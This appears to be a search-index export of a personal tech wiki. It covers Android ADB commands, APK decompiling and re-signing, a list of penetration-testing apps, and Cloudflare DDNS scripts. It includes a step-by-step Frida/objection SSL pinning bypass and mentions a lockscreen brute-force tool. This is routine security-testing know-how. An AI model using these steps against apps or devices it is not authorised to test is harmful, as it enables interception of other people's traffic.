    • CLI Commands
    • Failover Telegram Notifications
    • Persistent Boot Script
    • Persistent SSH Keys
    • Better Fan Speeds
    • UDM Cloudflare DDNS
    • Wireguard VPN
    "}, {"location": "tags/#unifi", "title": "unifi", "text": "
    • CLI Commands
    • Failover Telegram Notifications
    • Persistent Boot Script
    • Persistent SSH Keys
    • Better Fan Speeds
    • UDM Cloudflare DDNS
    • Wireguard VPN
    "}, {"location": "tags/#utilities", "title": "utilities", "text": "
    • Useful Links & Tools
    • Wifi QR Image Generator
    • Useful Software
    • Windows Servers
    • Declare Locations as \"Inside Your Local Network\"
    • Send Emails From The Windows Task Scheduler
    "}, {"location": "tags/#venv", "title": "venv", "text": "
    • Virtual Environment
    "}, {"location": "tags/#vgpu", "title": "vgpu", "text": "
    • vGPU Split Passthrough
    "}, {"location": "tags/#virtualization", "title": "virtualization", "text": "
    • Cloud Image Template
    • VM Disk Expander
    "}, {"location": "tags/#vmware", "title": "vmware", "text": "
    • VMware Fusion
    "}, {"location": "tags/#vmware-fusion", "title": "vmware-fusion", "text": "
    • VMware Fusion
    "}, {"location": "tags/#watchtower", "title": "watchtower", "text": "
    • Watchtower
    "}, {"location": "tags/#wifi", "title": "wifi", "text": "
    • Wifite
    "}, {"location": "tags/#windows_1", "title": "windows", "text": "
    • Syncthing
    • Windows SSH Server
    • Useful Software
    • Windows Servers
    • Declare Locations as \"Inside Your Local Network\"
    • Send Emails From The Windows Task Scheduler
    "}, {"location": "tags/#wireguard", "title": "wireguard", "text": "
    • Wireguard VPN
    "}, {"location": "tags/#zsh", "title": "zsh", "text": "
    • Better Terminal Experience
    "}, {"location": "android/adb-cheat-sheet/", "title": "Android ADB Cheat Sheet", "text": "

    ADB, Android Debug Bridge, is a command-line utility included with Google's Android SDK. ADB can control your device over USB from a computer, copy files back and forth, install and uninstall apps, run shell commands, and more. ADB is a powerful tool that can be used to control your Android device from a computer. Below are some of the most common commands you can use with ADB and their usage. You can find more information about ADB and its usage by visiting the official website.

    ", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#common-adb-commands", "title": "Common ADB Commands", "text": "", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#push-a-file-to-download-folder-of-the-android-device", "title": "Push a file to Download folder of the Android Device", "text": "
    adb push example.apk /mnt/sdcard/Download/\n
    ", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#lists-all-the-installed-packages-and-get-the-full-paths", "title": "Lists all the installed packages and get the full paths", "text": "
    adb shell pm list packages -f\n
    ", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#pulls-a-file-from-android-device", "title": "Pulls a file from android device", "text": "
    adb pull /mnt/sdcard/Download/example.apk\n
    ", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#install-apk-from-host-to-android-device", "title": "Install apk from host to Android device", "text": "
    adb shell install example.apk\n
    ", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#install-apk-from-android-device-storage", "title": "Install apk from Android device storage", "text": "
    adb shell install /mnt/sdcard/Download/example.apk\n
    ", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#set-network-proxy", "title": "Set network proxy", "text": "
    adb shell settings put global http_proxy <address>:<port>\n

    Disable network proxy

    adb shell settings put global http_proxy :0\n
    ", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#adb-basics-commands", "title": "ADB Basics Commands", "text": "Command Description adb devices Lists connected devices adb connect 192.168.2.1 Connects to adb device over network adb root Restarts adbd with root permissions adb start-server Starts the adb server adb kill-server Kills the adb server adb reboot Reboots the device adb devices -l List of devices by product/model adb -s <deviceName> <command> Redirect command to specific device adb \u2013d <command> Directs command to only attached USB device adb \u2013e <command> Directs command to only attached emulator", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#logs", "title": "Logs", "text": "Command Description adb logcat [options] [filter] [filter] View device log adb bugreport Print bug reports", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#permissions", "title": "Permissions", "text": "Command Description adb shell permissions groups List permission groups definitions adb shell list permissions -g -r List permissions details", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#package-installation", "title": "Package Installation", "text": "Command Description adb shell install <apk> Install app adb shell install <path> Install app from phone path adb shell install -r <path> Install app from phone path adb shell uninstall <name> Remove the app", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#paths", "title": "Paths", "text": "Command Description /data/data/<package name>/databases App databases /data/data/<package name>/shared_prefs/ Shared preferences /mnt/sdcard/Download/ Download folder /data/app Apk installed by user /system/app Pre-installed APK files /mmt/asec Encrypted apps (App2SD) /mmt/emmc Internal SD Card /mmt/adcard External/Internal SD Card /mmt/adcard/external_sd External SD Card ------- ----------- adb shell ls List directory contents adb shell ls -s Print size of each file adb shell ls -R List subdirectories recursively adb shell pm path <package name> Get full path of a package adb shell pm list packages -f Lists all the packages and full paths", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#file-operations", "title": "File Operations", "text": "Command Description adb push <local> <remote> Copy file/dir to device adb pull <remote> <local> Copy file/dir from device run-as <package> cat <file> Access the private package files", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#phone-info", "title": "Phone Info", "text": "Command Description adb get-stat\u0435 Print device state adb get-serialno Get the serial number adb shell dumpsys iphonesybinfo Get the IMEI adb shell netstat List TCP connectivity adb shell pwd Print current working directory adb shell dumpsys battery Battery status adb shell pm list features List phone features adb shell service list List all services adb shell dumpsys activity <package>/<activity> Activity info adb shell ps Print process status adb shell wm size Displays the current screen resolution", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#package-info", "title": "Package Info", "text": "Command Description adb shell list packages Lists package names adb shell list packages -r Lists package name + path to apks adb shell list packages -3 Lists third party package names adb shell list packages -s Lists only system packages adb shell list packages -u Lists package names + uninstalled adb shell dumpsys package packages Lists info on all apps adb shell dump <name> Lists info on one package adb shell path <package> Path to the apk file", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/adb-cheat-sheet/#device-related-commands", "title": "Device Related Commands", "text": "Command Description adb reboot recovery Reboot device into recovery mode adb reboot fastboot Reboot device into recovery mode adb shell screencap -p \"/path/to/screenshot.png\" Capture screenshot adb shell screenrecord \"/path/to/record.mp4\" Record device screen adb backup -apk -all -f backup.ab Backup settings and apps adb backup -apk -shared -all -f backup.ab Backup settings, apps and shared storage adb backup -apk -nosystem -all -f backup.ab Backup only non-system apps adb restore backup.ab Restore a previous backup ------- ----------- adb shell am start -a android.intent.action.VIEW -d URL Opens URL adb shell am start -t image/* -a android.intent.action.VIEW Opens gallery", "tags": ["android", "adb", "cheat-sheet"]}, {"location": "android/apktool/", "title": "Android Apktool for Reverse Engineering", "text": "

    A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications. It also makes working with an app easier because of the project like file structure and automation of some repetitive tasks like building apk, etc.

    It is NOT intended for piracy and other non-legal uses. It could be used for localizing, adding some features or support for custom platforms, analyzing applications and much more.

    ", "tags": ["android", "penetration-testing", "reverse-engineering", "apktool"]}, {"location": "android/apktool/#download-and-documentation", "title": "Download and Documentation", "text": "

    Official Apktool Website

    ", "tags": ["android", "penetration-testing", "reverse-engineering", "apktool"]}, {"location": "android/apktool/#how-to-sign-apk-after-compile", "title": "How to Sign APK After Compile", "text": "

    In order to install modified APK on Android device, you need to sign it with a certificate. Android APK won't be signed by default. You need to sign it manually.

    Install apksigner

    apt install -y apksigner\n

    Create certificate at the same folder you've compiled your modified APK

    keytool -genkey -v -keystore keystore.jks -keyalg RSA -keysize 2048 -validity 10000\n

    Enter A password (we will need it to singe the APK), enter any data you wish for the certificate information. At the end enter 'y' at the end to create the certificate.

    Now we should have 2 files: your.apk, keystore.jks. The only step left is to singe the APK with new certificate.

    apksigner sign --ks keystore.jks your.apk\n

    When installing the APK you will be prompted with a warning of \"unknown certificate\" just hit Install.

    ", "tags": ["android", "penetration-testing", "reverse-engineering", "apktool"]}, {"location": "android/applications/", "title": "Penetration Testing Application for Android", "text": "

    List for Android penetration testing applications and tools that can be used to aid in penetration testing. The following are the most commonly used applications. Feel free to suggest new applications and tools at comments section below.

    ", "tags": ["android", "application", "penetration-testing"]}, {"location": "android/applications/#list-of-android-penetration-testing-tools-and-applications", "title": "List of Android Penetration Testing Tools and Applications", "text": "
    • Magisk Manager - Systemless rooting system.
    • EdXposed Manager - Companion Android application for EdXposed.
    • BusyBox - Android busyBox.
    • SQLite Editor Master - SQLite Editor.
    • Root Explorer File Manager for Root Users (Root Required).
    • CiLocks - Python script to brute force android lockscreen password.
    • Network Analyzer - Network Analyzer for Android.
    • Packet Capture - Packet capture/Network traffic sniffer.
    • Material Terminal - Terminal for Android.
    • Gplaycli Cli Tool to download APK form PlayStore.
    ", "tags": ["android", "application", "penetration-testing"]}, {"location": "android/jadx-decompiler/", "title": "JADX - Dex to Java Decompiler", "text": "

    Github Repository: skylot-jadx

    ", "tags": ["android", "decompiler", "java"]}, {"location": "android/jadx-decompiler/#about-jadx", "title": "About JADX", "text": "

    Command line and GUI tools for producing Java source code from Android Dex and Apk files

    Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds

    Main features:

    • decompile Dalvik bytecode to java classes from APK, dex, aar, aab and zip files
    • decode AndroidManifest.xml and other resources from resources.arsc
    • deobfuscator included

    jadx-gui features:

    • view decompiled code with highlighted syntax
    • jump to declaration
    • find usage
    • full text search
    • smali debugger, check wiki page for setup and usage

    Jadx-gui key bindings can be found here

    See these features in action here: jadx-gui features overview

    ", "tags": ["android", "decompiler", "java"]}, {"location": "android/jadx-decompiler/#download", "title": "Download", "text": "
    • release from github:
    • latest unstable build

    After download unpack zip file go to bin directory and run: - jadx - command line version - jadx-gui - UI version

    On Windows run .bat files with double-click\\ Note: ensure you have installed Java 11 or later 64-bit version. For Windows, you can download it from oracle.com (select x64 Installer).

    ", "tags": ["android", "decompiler", "java"]}, {"location": "android/jadx-decompiler/#installation", "title": "Installation", "text": "
    1. Arch linux
      sudo pacman -S jadx\n
    2. macOS
      brew install jadx\n
    3. Flathub
      flatpak install flathub com.github.skylot.jadx\n
    ", "tags": ["android", "decompiler", "java"]}, {"location": "android/jadx-decompiler/#usage", "title": "Usage", "text": "

    jadx[-gui] [command] [options] <input files> (.apk, .dex, .jar, .class, .smali, .zip, .aar, .arsc, .aab)\ncommands (use '<command> --help' for command options):\n  plugins     - manage jadx plugins\n\noptions:\n  -d, --output-dir                    - output directory\n  -ds, --output-dir-src               - output directory for sources\n  -dr, --output-dir-res               - output directory for resources\n  -r, --no-res                        - do not decode resources\n  -s, --no-src                        - do not decompile source code\n  --single-class                      - decompile a single class, full name, raw or alias\n  --single-class-output               - file or dir for write if decompile a single class\n  --output-format                     - can be 'java' or 'json', default: java\n  -e, --export-gradle                 - save as android gradle project\n  -j, --threads-count                 - processing threads count, default: 4\n  -m, --decompilation-mode            - code output mode:\n                                         'auto' - trying best options (default)\n                                         'restructure' - restore code structure (normal java code)\n                                         'simple' - simplified instructions (linear, with goto's)\n                                         'fallback' - raw instructions without modifications\n  --show-bad-code                     - show inconsistent code (incorrectly decompiled)\n  --no-imports                        - disable use of imports, always write entire package name\n  --no-debug-info                     - disable debug info parsing and processing\n  --add-debug-lines                   - add comments with debug line numbers if available\n  --no-inline-anonymous               - disable anonymous classes inline\n  --no-inline-methods                 - disable methods inline\n  --no-move-inner-classes             - disable move inner classes into parent\n  --no-inline-kotlin-lambda           - disable inline for Kotlin lambdas\n  --no-finally                        - don't extract finally block\n  --no-replace-consts                 - don't replace constant value with matching constant field\n  --escape-unicode                    - escape non latin characters in strings (with \\u)\n  --respect-bytecode-access-modifiers - don't change original access modifiers\n  --mappings-path                     - deobfuscation mappings file or directory. Allowed formats: Tiny and Tiny v2 (both '.tiny'), Enigma (.mapping) or Enigma directory\n  --mappings-mode                     - set mode for handling the deobfuscation mapping file:\n                                         'read' - just read, user can always save manually (default)\n                                         'read-and-autosave-every-change' - read and autosave after every change\n                                         'read-and-autosave-before-closing' - read and autosave before exiting the app or closing the project\n                                         'ignore' - don't read or save (can be used to skip loading mapping files referenced in the project file)\n  --deobf                             - activate deobfuscation\n  --deobf-min                         - min length of name, renamed if shorter, default: 3\n  --deobf-max                         - max length of name, renamed if longer, default: 64\n  --deobf-whitelist                   - space separated list of classes (full name) and packages (ends with '.*') to exclude from deobfuscation, default: android.support.v4.* android.support.v7.* android.support.v4.os.* android.support.annotation.Px androidx.core.os.* androidx.annotation.Px\n  --deobf-cfg-file                    - deobfuscation mappings file used for JADX auto-generated names (in the JOBF file format), default: same dir and name as input file with '.jobf' extension\n  --deobf-cfg-file-mode               - set mode for handling the JADX auto-generated names' deobfuscation map file:\n                                         'read' - read if found, don't save (default)\n                                         'read-or-save' - read if found, save otherwise (don't overwrite)\n                                         'overwrite' - don't read, always save\n                                         'ignore' - don't read and don't save\n  --deobf-use-sourcename              - use source file name as class name alias\n  --deobf-res-name-source             - better name source for resources:\n                                         'auto' - automatically select best name (default)\n                                         'resources' - use resources names\n                                         'code' - use R class fields names\n  --use-kotlin-methods-for-var-names  - use kotlin intrinsic methods to rename variables, values: disable, apply, apply-and-hide, default: apply\n  --rename-flags                      - fix options (comma-separated list of):\n                                         'case' - fix case sensitivity issues (according to --fs-case-sensitive option),\n                                         'valid' - rename java identifiers to make them valid,\n                                         'printable' - remove non-printable chars from identifiers,\n                                        or single 'none' - to disable all renames\n                                        or single 'all' - to enable all (default)\n  --integer-format                    - how integers are displayed:\n                                         'auto' - automatically select (default)\n                                         'decimal' - use decimal\n                                         'hexadecimal' - use hexadecimal\n  --fs-case-sensitive                 - treat filesystem as case sensitive, false by default\n  --cfg                               - save methods control flow graph to dot file\n  --raw-cfg                           - save methods control flow graph (use raw instructions)\n  -f, --fallback                      - set '--decompilation-mode' to 'fallback' (deprecated)\n  --use-dx                            - use dx/d8 to convert java bytecode\n  --comments-level                    - set code comments level, values: error, warn, info, debug, user-only, none, default: info\n  --log-level                         - set log level, values: quiet, progress, error, warn, info, debug, default: progress\n  -v, --verbose                       - verbose output (set --log-level to DEBUG)\n  -q, --quiet                         - turn off output (set --log-level to QUIET)\n  --version                           - print jadx version\n  -h, --help                          - print this help\n\nPlugin options (-P<name>=<value>):\n 1) dex-input: Load .dex and .apk files\n    - dex-input.verify-checksum       - verify dex file checksum before load, values: [yes, no], default: yes\n 2) java-convert: Convert .class, .jar and .aar files to dex\n    - java-convert.mode               - convert mode, values: [dx, d8, both], default: both\n    - java-convert.d8-desugar         - use desugar in d8, values: [yes, no], default: no\n 3) kotlin-metadata: Use kotlin.Metadata annotation for code generation\n    - kotlin-metadata.class-alias     - rename class alias, values: [yes, no], default: yes\n    - kotlin-metadata.method-args     - rename function arguments, values: [yes, no], default: yes\n    - kotlin-metadata.fields          - rename fields, values: [yes, no], default: yes\n    - kotlin-metadata.companion       - rename companion object, values: [yes, no], default: yes\n    - kotlin-metadata.data-class      - add data class modifier, values: [yes, no], default: yes\n    - kotlin-metadata.to-string       - rename fields using toString, values: [yes, no], default: yes\n    - kotlin-metadata.getters         - rename simple getters to field names, values: [yes, no], default: yes\n 4) rename-mappings: various mappings support\n    - rename-mappings.format          - mapping format, values: [auto, TINY, TINY_2, ENIGMA, ENIGMA_DIR, MCP, SRG, TSRG, TSRG2, PROGUARD], default: auto\n    - rename-mappings.invert          - invert mapping, values: [yes, no], default: no\n\nEnvironment variables:\n  JADX_DISABLE_ZIP_SECURITY - set to 'true' to disable all security checks for zip files\n  JADX_ZIP_MAX_ENTRIES_COUNT - maximum allowed number of entries in zip files (default: 100 000)\n  JADX_TMP_DIR - custom temp directory, using system by default\n\nExamples:\n  jadx -d out classes.dex\n  jadx --rename-flags \"none\" classes.dex\n  jadx --rename-flags \"valid, printable\" classes.dex\n  jadx --log-level ERROR app.apk\n  jadx -Pdex-input.verify-checksum=no app.apk\n
    These options also worked on jadx-gui running from command line and override options from preferences dialog

    ", "tags": ["android", "decompiler", "java"]}, {"location": "android/jadx-decompiler/#use-jadx-as-a-library", "title": "Use jadx as a Library", "text": "

    You can use jadx in your java projects, check details on wiki page

    ", "tags": ["android", "decompiler", "java"]}, {"location": "android/mobsf/", "title": "Mobile Security Framework (MobSF)", "text": "

    Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. MobSF support mobile app binaries (APK, XAPK, IPA & APPX) along with zipped source code and provides REST APIs for seamless integration with your CI/CD or DevSecOps pipeline.The Dynamic Analyzer helps you to perform runtime security assessment and interactive instrumented testing.

    Follow the projet at github: MobSF/Mobile-Security-Framework-MobSF

    ", "tags": ["android", "penetration-testing"]}, {"location": "android/mobsf/#running-mobsf-as-docker", "title": "Running MobSF as Docker", "text": "

    Below is a docker run command for running MobSF as a Docker container.

    docker run \\\n-d \\\n-it \\\n-v /root/tools/mobSF:/root/.MobSF \\\n-h mobsf \\\n--name mobsf \\\n--restart always \\\n-p 8005:8000 \\\nopensecurity/mobile-security-framework-mobsf:latest\n

    docker compose example for docker-compose.yml:

    version: '2.4'\n\nservices:\nmobsf:\nimage: opensecurity/mobile-security-framework-mobsf\ncontainer_name: mobsf\nhostname: mobsf\nrestart: always\nnetwork_mode: bridge\nvolumes:\n- ./:/root/.MobSF\n- /etc/localtime:/etc/localtime\nports:\n- '1337:1337'\n- '8000:8000'\n
    ", "tags": ["android", "penetration-testing"]}, {"location": "android/ssl-pinning-bypass/", "title": "Android SSL Pinning Bypass with Frida", "text": "", "tags": ["android", "frida", "ssl-pinning"]}, {"location": "android/ssl-pinning-bypass/#whats-ssl-pinning", "title": "Whats SSL Pinning?", "text": "

    Android app establishes an HTTPS connection, it checks the issuer of the server's certificate against the internal list of trusted Android system certificate authorities to make sure it is communicating with a trusted server. This is called SSL Pinning. If the server's certificate is not in the list of trusted certificates, the app won't be able to communicate with the server.

    ", "tags": ["android", "frida", "ssl-pinning"]}, {"location": "android/ssl-pinning-bypass/#whats-frida", "title": "Whats Frida?", "text": "

    Frida is dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. It is a powerful tool that allows you to modify Android applications and libraries without having to recompile them.

    ", "tags": ["android", "frida", "ssl-pinning"]}, {"location": "android/ssl-pinning-bypass/#requirements", "title": "Requirements", "text": "
    • Rooted Adnroid Phone
    • Python 3
    • pip(pip3)
    ", "tags": ["android", "frida", "ssl-pinning"]}, {"location": "android/ssl-pinning-bypass/#installation", "title": "Installation", "text": "

    Install Frida framework, objection to your host os.

    pip install frida-tools\npip install objection\n

    Download the proper version from: Frida Server Downloads

    Danger

    Make sure to download the proper version of Frida Server for your Android cpu architecture. Alwasys use the latest version of Frida Server and frida-tools

    Extract and rename the file to frida-server Move the file to the Adnroid Phone to /data/local/tmp/

    ", "tags": ["android", "frida", "ssl-pinning"]}, {"location": "android/ssl-pinning-bypass/#usage", "title": "Usage", "text": "

    Connect to adb shell to the android device

    For more inforatmati

    adb shell\n

    Change user to Root

    su\n

    Make sure you are running as root with the folowing command:

    whoami\n

    Change permissions to the /data/local/tmp/frida-server to be able to run the server

    chmod 755 /data/local/tmp/frida-server\n

    Run the Frida Server in background:

    /data/local/tmp/frida-server\n

    Warning

    Do no close the terminal - this will stop the Frida Server

    Go Back to host's terminal List all the Applications and find the name of the desired application you want to by bypass SSL Pinning

    frida-ps -Ua\n

    Now Run with the name of the application

    objection -g c**********n explore -q\n

    Now remove the SSL Pining with

    android sslpinning disable\n
    ", "tags": ["android", "frida", "ssl-pinning"]}, {"location": "android/ssl-pinning-bypass/#set-proxy-for-applciation-with-frida-and-objection", "title": "Set Proxy for Applciation with frida and objection", "text": "
    android proxy set 192.168.5.102 8081\n
    ", "tags": ["android", "frida", "ssl-pinning"]}, {"location": "automation/ddns-cloudflare-bash/", "title": "DDNS Cloudflare Bash Script", "text": "

    When building complex infrastructure and managing multiple servers and services using ip addresses is can create a lot of issues and is not always easy to manage. The preferred way is to use a DNS provider that allows you to manage your domain names and their associated IP addresses. DDNS Cloudflare Bash script is a simple bash script that allows you to easily update your Cloudflare's DNS records dinamically regardless of your current IP address. DDNS Cloudflare Bash Script can be used on Linux, Unix, FreeBSD, and macOS with only one requirment of curl

    Source code can be found at DDNS Cloudflare Bash Github Repository.

    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#about", "title": "About", "text": "
    • DDNS Cloudflare Bash Script for most Linux, Unix distributions and MacOS.
    • Choose any source IP address to update external or internal (WAN/LAN).
    • For multiply lan interfaces like Wifi, Docker Networks and Bridges the script will automatically detects the primary Interface by priority.
    • Cloudflare's options proxy and TTL configurable via the config file.
    • Optional Telegram Notifications
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#requirements", "title": "Requirements", "text": "
    • curl
    • Cloudflare api-token with ZONE-DNS-EDIT Permissions
    • DNS Record must be pre created (api-token should only edit dns records)
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#creating-cloudflare-api-token", "title": "Creating Cloudflare API Token", "text": "

    To create a CloudFlare API token for your DNS zone go to https://dash.cloudflare.com/profile/api-tokens and follow these steps:

    1. Click Create Token
    2. Select Create Custom Token
    3. Provide the token a name, for example, example.com-dns-zone-readonly
    4. Grant the token the following permissions: - Zone - DNS - Edit
    5. Set the zone resources to: - Include - Specific Zone - example.com
    6. Complete the wizard and use the generated token at the CLOUDFLARE_API_TOKEN variable for the container
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#installation", "title": "Installation", "text": "

    You can place the script at any location manually.

    MacOS: Don't use the /usr/local/bin/ for the script location. Create a separate folder under your user path /Users/${USER}

    The automatic install examples below will place the script at /usr/local/bin/

    wget https://raw.githubusercontent.com/fire1ce/DDNS-Cloudflare-Bash/main/update-cloudflare-dns.sh\nsudo chmod +x update-cloudflare-dns.sh\nsudo mv update-cloudflare-dns.sh /usr/local/bin/update-cloudflare-dns\n
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#config-file", "title": "Config file", "text": "

    You can use default config file update-cloudflare-dns.conf or pass your own config file as parameter to script.

    wget https://raw.githubusercontent.com/fire1ce/DDNS-Cloudflare-Bash/main/update-cloudflare-dns.conf\n

    Place the config file in the directory as the update-cloudflare-dns for above example at /usr/local/bin/

    sudo mv update-cloudflare-dns.conf /usr/local/bin/update-cloudflare-dns.conf\n
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#config-parameters", "title": "Config Parameters", "text": "Option Example Description what_ip internal Which IP should be used for the record: internal/external dns_record ddns.example.com DNS A record which will be updated, you can pass multiple A records separated by comma cloudflare_zone_api_token ChangeMe Cloudflare API Token KEEP IT PRIVATE!!!! zoneid ChangeMe Cloudflare's Zone ID proxied false Use Cloudflare proxy on dns record true/false ttl 120 120-7200 in seconds or 1 for Auto", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#optional-notifications-parameters", "title": "Optional Notifications Parameters", "text": "Option Example Description notify_me_telegram yes Use Telegram notifications yes/no telegram_chat_id ChangeMe Chat ID of the bot telegram_bot_API_Token ChangeMe Telegram's Bot API Token", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#running-the-script", "title": "Running The Script", "text": "

    When placed in /usr/local/bin/

    update-cloudflare-dns\n

    With your config file (need to be placed in same folder)

    update-cloudflare-dns yoru_config.conf\n

    Or manually

    <path>/.update-cloudflare-dns.sh\n
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#automation-with-crontab", "title": "Automation With Crontab", "text": "

    You can run the script via crontab

    crontab -e\n
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#examples", "title": "Examples", "text": "

    Run every minute

    * * * * * /usr/local/bin/update-cloudflare-dns\n

    Run with your specific config file

    * * * * * /usr/local/bin/update-cloudflare-dns myconfig.conf\n

    Run every 2 minutes

    */2 * * * * /usr/local/bin/update-cloudflare-dns\n

    Run at boot

    @reboot /usr/local/bin/update-cloudflare-dns\n

    Run 1 minute after boot

    @reboot sleep 60 && /usr/local/bin/update-cloudflare-dns\n

    Run at 08:00

    0 8 * * * /usr/local/bin/update-cloudflare-dns\n
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#logs", "title": "Logs", "text": "

    This Script will create a log file with only the last run information Log file will be located at the script's location.

    Example:

    /usr/local/bin/update-cloudflare-dns.log\n
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#limitations", "title": "Limitations", "text": "
    • Does not support IPv6
    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#license", "title": "License", "text": "", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-bash/#mit-license", "title": "MIT License", "text": "

    Copyright\u00a9 3os.org @2020

    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

    ", "tags": ["automation", "cloudflare", "ddns", "bash"]}, {"location": "automation/ddns-cloudflare-powershell/", "title": "DDNS Cloudflare PowerShell Script", "text": "

    When building complex infrastructure and managing multiple servers and services using ip addresses is can create a lot of issues and is not always easy to manage. The preferred way is to use a DNS provider that allows you to manage your domain names and their associated IP addresses. DDNS Cloudflare PowerShell script is a simple PowerShell script that allows you to easily update your Cloudflare's DNS records dinamically regardless of your current IP address. DDNS Cloudflare PowerShell Script can be used on Windows operating systems without any requirements for PowerShell.

    Source code can be found at DDNS Cloudflare PowerShell Github Repository.

    • DDNS Cloudflare PowerShell script for Windows.
    • Choose any source IP address to update external or internal (WAN/LAN).
    • For multiple LAN interfaces like Wifi, Docker Networks and Bridges the script will automatically detect the primary Interface by priority.
    • Cloudflare's options for proxy and TTL configurable via the parameters.
    • Optional Telegram or Discord Notifications
    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#requirements", "title": "Requirements", "text": "
    • Cloudflare api-token with ZONE-DNS-EDIT Permissions
    • DNS Record must be pre created (api-token should only edit dns records)
    • Enabled running unsigned PowerShell
    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#creating-cloudflare-api-token", "title": "Creating Cloudflare API Token", "text": "

    To create a CloudFlare API token for your DNS zone go to https://dash.cloudflare.com/profile/api-tokens and follow these steps:

    1. Click Create Token
    2. Select Create Custom Token
    3. Provide the token a name, for example, example.com-dns-zone-readonly
    4. Grant the token the following permissions: - Zone - DNS - Edit
    5. Set the zone resources to: - Include - Specific Zone - example.com
    6. Complete the wizard and use the generated token at the CLOUDFLARE_API_TOKEN variable for the container
    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#installation", "title": "Installation", "text": "

    Download the DDNS-Cloudflare-PowerShell zip file & Unzip, rename the folder to DDNS-Cloudflare-PowerShell place in a directory of your choosing

    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#config-parameters", "title": "Config Parameters", "text": "

    Update the config parameters inside the update-cloudflare-dns_conf.ps1 by editing accordingly. See below for examples.

    Option Example Description what_ip internal Which IP should be used for the record: internal/external dns_record ddns.example.com DNS A record which will be updated cloudflare_zone_api_token ChangeMe Cloudflare API Token KEEP IT PRIVATE!!!! zoneid ChangeMe Cloudflare's Zone ID proxied false Use Cloudflare proxy on dns record true/false ttl 120 120-7200 in seconds or 1 for Auto", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#optional-notifications-parameters-for-telegram", "title": "Optional Notifications Parameters for Telegram", "text": "Option Example Description notify_me_telegram yes Use Telegram notifications yes/no telegram_chat_id ChangeMe Chat ID of the bot telegram_bot_API_Token ChangeMe Telegram's Bot API Token", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#optional-notification-parameters-for-discord", "title": "Optional Notification Parameters for Discord", "text": "Option Example Description notify_me_discord yes Use Discord notifications yes/no discord_webhook_URL http://WebhookURL.com/asd/ Webhook URL from your Discord server settings

